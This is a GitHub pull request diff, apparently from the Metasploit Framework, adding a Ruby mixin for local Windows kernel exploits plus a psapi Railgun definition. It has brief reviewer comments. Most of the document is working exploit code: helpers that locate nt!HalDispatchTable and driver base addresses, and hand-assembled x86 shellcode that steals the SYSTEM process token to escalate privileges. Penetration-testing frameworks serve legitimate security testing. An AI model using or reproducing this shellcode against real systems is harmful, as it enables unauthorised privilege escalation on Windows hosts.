-
Notifications
You must be signed in to change notification settings - Fork 13.7k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
WindowsKernel Exploit Mixin And Module Refactoring #3612
Changes from all commits
49837a3
43a5120
893b9a6
4b73ad6
6543b08
58d2916
86e2377
a523898
9cd6353
b602e47
2ed02c3
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,164 @@ | ||
# -*- coding: binary -*- | ||
|
||
module Msf | ||
module Exploit::Local::WindowsKernel | ||
include Msf::PostMixin | ||
include Msf::Post::Windows::Error | ||
|
||
# | ||
# Find the address of nt!HalDispatchTable. | ||
# | ||
# @return [Integer] The address of nt!HalDispatchTable. | ||
# @return [nil] If the address could not be found. | ||
# | ||
def find_haldispatchtable | ||
kernel_address, kernel_name = find_sys_base(nil) | ||
if kernel_address.nil? || kernel_name.nil? | ||
print_error("Failed to find the address of the Windows kernel") | ||
return nil | ||
end | ||
vprint_status("Kernel Base Address: 0x#{kernel_address.to_s(16)}") | ||
|
||
h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_name, 0, 1) | ||
if h_kernel['return'] == 0 | ||
print_error("Failed to load #{kernel_name} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})") | ||
return nil | ||
end | ||
h_kernel = h_kernel['return'] | ||
|
||
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable') | ||
if hal_dispatch_table['return'] == 0 | ||
print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']} #{hal_dispatch_table['ErrorMessage']})") | ||
return nil | ||
end | ||
hal_dispatch_table = hal_dispatch_table['return'] | ||
|
||
hal_dispatch_table -= h_kernel | ||
hal_dispatch_table += kernel_address | ||
vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}") | ||
hal_dispatch_table | ||
end | ||
|
||
# | ||
# Find the load address for a device driver on the session. | ||
# | ||
# @param drvname [String, nil] The name of the module to find, otherwise the kernel | ||
# if this value is nil. | ||
# @return [Array] An array containing the base address and the located drivers name. | ||
# @return [nil] If the name specified could not be found. | ||
# | ||
def find_sys_base(drvname) | ||
if sysinfo['Architecture'] =~ /(x86|wow64)/i | ||
ptr_size = 4 | ||
else | ||
ptr_size = 8 | ||
end | ||
|
||
results = session.railgun.psapi.EnumDeviceDrivers(0, 0, ptr_size) | ||
unless results['return'] | ||
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") | ||
return nil | ||
end | ||
results = session.railgun.psapi.EnumDeviceDrivers(results['lpcbNeeded'], results['lpcbNeeded'], ptr_size) | ||
unless results['return'] | ||
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") | ||
return nil | ||
end | ||
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack((ptr_size == 4 ? 'V' : 'Q') + '*') | ||
|
||
addresses.each do |address| | ||
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) | ||
if results['return'] == 0 | ||
print_error("GetDeviceDriverBaseNameA failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") | ||
return nil | ||
end | ||
current_drvname = results['lpBaseName'][0,results['return']] | ||
if drvname.nil? | ||
if current_drvname.downcase.include?('krnl') | ||
return address, current_drvname | ||
end | ||
elsif drvname == current_drvname | ||
return address, current_drvname | ||
end | ||
end | ||
end | ||
|
||
# | ||
# Open a device on a meterpreter session with a call to CreateFileA and return | ||
# the handle. Both optional parameters lpSecurityAttributes and hTemplateFile | ||
# are specified as nil. | ||
# | ||
# @param file_name [String] Passed to CreateFileA as the lpFileName parameter. | ||
# @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter. | ||
# @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter. | ||
# @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter. | ||
# @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter. | ||
# @return [Integer] The device handle. | ||
# @return [nil] If the call to CreateFileA failed. | ||
# | ||
def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0) | ||
handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil) | ||
if handle['return'] == INVALID_HANDLE_VALUE | ||
print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']} #{handle['ErrorMessage']})") | ||
return nil | ||
end | ||
handle['return'] | ||
end | ||
|
||
# | ||
# Generate token stealing shellcode suitable for use when overwriting the | ||
# HaliQuerySystemInformation pointer. The shellcode preserves the edx and ebx | ||
# registers. | ||
# | ||
# @param target [Hash] The target information containing the offsets to _KPROCESS, | ||
# _TOKEN, _UPID and _APLINKS. | ||
# @param backup_token [Integer] An optional location to write a copy of the | ||
# original token to so it can be restored later. | ||
# @param arch [String] The architecture to return shellcode for. If this is nil, | ||
# the arch will be guessed from the target and then module information. | ||
# @return [String] The token stealing shellcode. | ||
# @raise [ArgumentError] If the arch is incompatible. | ||
# | ||
def token_stealing_shellcode(target, backup_token = nil, arch = nil) | ||
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch'] | ||
if arch.nil? && module_info['Arch'] | ||
arch = module_info['Arch'] | ||
arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1 | ||
end | ||
if arch.nil? | ||
print_error('Can not determine the target architecture') | ||
fail ArgumentError, 'Invalid arch' | ||
end | ||
|
||
tokenstealing = '' | ||
case arch | ||
when ARCH_X86 | ||
tokenstealing << "\x52" # push edx # Save edx on the stack | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Would be good to get the assembly source in the same external/ data/ locations as existing assembly usermode payloads. Although that could come later. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I'm not so sure about this since the shellcode as it's provided is not a payload. |
||
tokenstealing << "\x53" # push ebx # Save ebx on the stack | ||
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 | ||
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD | ||
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS | ||
tokenstealing << "\x8b\xc8" # mov ecx, eax | ||
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN | ||
unless backup_token.nil? | ||
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided | ||
end | ||
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks | ||
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks | ||
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) | ||
tokenstealing << "\x75\xe8" # jne 0000101e ====================== | ||
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX | ||
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX | ||
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS | ||
tokenstealing << "\x5b" # pop ebx # Restores ebx | ||
tokenstealing << "\x5a" # pop edx # Restores edx | ||
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! | ||
else | ||
# if this is reached the issue most likely exists in the exploit module | ||
print_error('Unsupported arch for token stealing shellcode') | ||
fail ArgumentError, 'Invalid arch' | ||
end | ||
tokenstealing | ||
end | ||
end | ||
end |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
# -*- coding: binary -*- | ||
module Rex | ||
module Post | ||
module Meterpreter | ||
module Extensions | ||
module Stdapi | ||
module Railgun | ||
module Def | ||
|
||
class Def_psapi | ||
|
||
def self.create_dll(dll_path = 'psapi') | ||
dll = DLL.new(dll_path, ApiConstants.manager) | ||
|
||
dll.add_function('EnumDeviceDrivers', 'BOOL',[ | ||
%w(PBLOB lpImageBase out), | ||
%w(DWORD cb in), | ||
%w(PDWORD lpcbNeeded out) | ||
]) | ||
|
||
dll.add_function('GetDeviceDriverBaseNameA', 'DWORD', [ | ||
%w(LPVOID ImageBase in), | ||
%w(PBLOB lpBaseName out), | ||
%w(DWORD nSize in) | ||
]) | ||
|
||
return dll | ||
end | ||
|
||
end | ||
|
||
end; end; end; end; end; end; end |
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -78,7 +78,8 @@ class Railgun | |
'crypt32', | ||
'wlanapi', | ||
'wldap32', | ||
'version' | ||
'version', | ||
'psapi' | ||
].freeze | ||
|
||
## | ||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think railgun.util exposes pointer_size which is a bit neater